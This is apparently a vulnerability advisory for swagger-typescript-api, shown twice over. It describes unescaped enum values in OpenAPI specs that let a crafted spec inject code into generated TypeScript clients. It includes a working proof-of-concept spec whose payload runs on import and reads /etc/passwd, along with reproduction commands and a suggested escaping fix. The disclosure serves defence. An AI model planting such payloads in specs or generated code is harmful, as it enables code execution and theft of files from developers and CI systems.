Summary
swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call — only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.
Details
The root cause is Ts.StringValue in src/configuration.ts:250:
StringValue: (content: unknown) => `"${content}"`,It wraps a value in double quotes with zero escaping — no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.
Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:
return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),
The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):
export enum <%~ name %> {
<%~ _.map($content, ({ key, value, description }) => {
...
return [
formattedDescription && `/** ${formattedDescription} */`,
`${key} = ${value}`
].filter(Boolean).join("\n");
}).join(",\n") %>
}Where ${value} is the result of Ts.StringValue — raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.
A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').
The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious enum value (literal string, JSON-encoded in the spec below):
blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
"components": {
"schemas": {
"Color": {
"type": "string",
"enum": [
"red",
"blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
]
}
}
},
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": {
"200": {
"description": "OK",
"content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
}
}
}
}
}
}Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canaryGenerated out/Api.ts (enum block — payload):
export enum Color {
Red = "red",
BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
}The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.
Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:
sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.
Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value — they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.
Privilege: the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.
Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal — escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators /. JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue (currently safe only by accident of landing in type-level positions).
Submitted by: Hamza Haroon (thegr1ffyn)
References
thegr1ffyn Reporter
Summary
swagger-typescript-apiinterpolatescomponents.schemas.*.enum[i]string values into the body of generated TypeScriptenumdeclarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call — only animportof the generated module. The attacker controls the OpenAPI spec (remote--url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.Details
The root cause is
Ts.StringValueinsrc/configuration.ts:250:It wraps a value in double quotes with zero escaping — no handling of
",\, newlines, or anything else. The codebase's only escape function (escapeJSDocContentinsrc/schema-parser/schema-formatters.ts:127) only replaces*/and is never applied to this path.Enum string values reach
Ts.StringValueatsrc/schema-parser/base-schema-parsers/enum.ts:100and:116:The result is interpolated raw into the enum body in
templates/base/enum-data-contract.ejs(defaultenumStyle: "enum"branch, lines 24-31):Where
${value}is the result ofTs.StringValue— raw"${content}". An attacker-controlled enum value containing a"closes the string and exposes the surrounding code position to injection.A
;}sequence terminates the enum body mid-stream. A{opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing//consumes the closing"thatTs.StringValuestill appends, and the template's own closing}of the enum becomes the closing}of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bareawait import('./generated.js').The same
Ts.StringValuefunction is also called fromsrc/schema-parser/schema-utils.ts:215,406,src/schema-parser/base-schema-parsers/object.ts:47, andsrc/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe by accident of context, not by escaping. A fix that hardensTs.StringValueitself protects those sites too as defense in depth.PoC
Self-contained reproducer (
run.shruns end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested onswagger-typescript-api@13.12.1and Nodev24.11.1.Malicious enum value (literal string, JSON-encoded in the spec below):
Minimal payload spec:
{ "openapi": "3.0.0", "info": { "title": "EnumPayloadAPI", "version": "1.0.0" }, "components": { "schemas": { "Color": { "type": "string", "enum": [ "red", "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//" ] } } }, "paths": { "/ping": { "get": { "operationId": "ping", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } } } } } } } }Steps:
Generated
out/Api.ts(enum block — payload):The
;}closes the enum body. The{...}after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.Result: after bare
importof the bundle,/tmp/sta_canarycontains the full/etc/passwdof the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs
swagger-typescript-apiagainst an OpenAPI spec they did not author entirely. Concrete scenarios:sta generate --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate
HttpClient, does not need to call any API method, does not need to use the enum value — they only need toimportthe generated module (or anything that transitively imports it, e.g. thedata-contracts.tsfile in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.Privilege: the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.
Suggested fix: harden
Ts.StringValueinsrc/configuration.ts:250to produce a properly-escaped JavaScript string literal — escape at minimum",\,\n,\r,\t,\b,\f,\v,\0, and the line/paragraph separators/.JSON.stringifyon the content is a one-line acceptable implementation. This single change also protects every other call site ofTs.StringValue(currently safe only by accident of landing in type-level positions).Submitted by: Hamza Haroon (thegr1ffyn)
References